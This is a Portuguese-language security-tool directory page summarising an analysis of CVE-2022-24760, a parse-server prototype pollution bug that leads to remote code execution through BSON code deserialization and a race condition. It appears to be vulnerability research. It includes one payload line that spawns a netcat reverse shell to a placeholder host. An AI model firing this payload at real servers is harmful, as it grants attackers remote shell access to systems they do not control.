Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-24760 — Análise técnica detalhada da CVE-2022-24760, uma vulnerabilidade de poluição de protótipo no parse-server que leva à execução remota de código por meio da serialização BSON e exploração de condição de corrida. | Kitploit
Ferramentas/GitHubGitHub/tuo4n8/cve-2022-24760
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações Web
GitHubtuo4n8/cve-2022-24760

CVE-2022-24760

Análise técnica detalhada da CVE-2022-24760, uma vulnerabilidade de poluição de protótipo no parse-server que leva à execução remota de código por meio da serialização BSON e exploração de condição de corrida.

Ver Repositório
146há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-24760


fluxo

image-20220331114046018

image-20220331114258164

  • Por padrão, não é necessária chave para adicionar, remover ou editar classes no banco de dados

image-20220331115258271


Diff commit

https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

image-20220331132344135

  • A prototype pollution ocorre na função expandResultOnKeyPath
root@kitploit:~
DatabaseController.js sanitizeDatabaseResult -> expandResultOnKeyPath
  • sanitizeDatabaseResult é usada ao adicionar e atualizar novas classes. No entanto, para que a prototype seja poluída, é necessário satisfazer a condição de que a keyUpdate __op pertença a ['Add', 'AddUnique', 'Remove', 'Increment']

  • Portanto, os valores de prototype só podem ser array ou number

    • image-20220331132813075
    • image-20220331132823843
  • exemplo de requisição:

image-20220331133133587

Sink de exploração para RCE

  • Antes de salvar os dados no banco de dados, o fluxo de dados será serialize pela biblioteca BSON; quando _bsontype for Code, será executado serializeCode

image-20220331133328243

​ parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762

  • Em seguida, os dados serão desserializados para chegar ao sink:

image-20220331145339371

image-20220331145403962

image-20220331145421339

  • Use a prototype pollution para poluir options['evalFunctions'] -> contornar até a função isolateEval
  • Exemplo de payload
root@kitploit:~
"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
  • Como o fluxo de execução da função expandResultOnKeyPath ocorre após a desserialização, é necessário executar uma race condition contínua para que o trigger possa ocorrer ao chegar em isolateEval

image-20220331145825647

Baixar ferramenta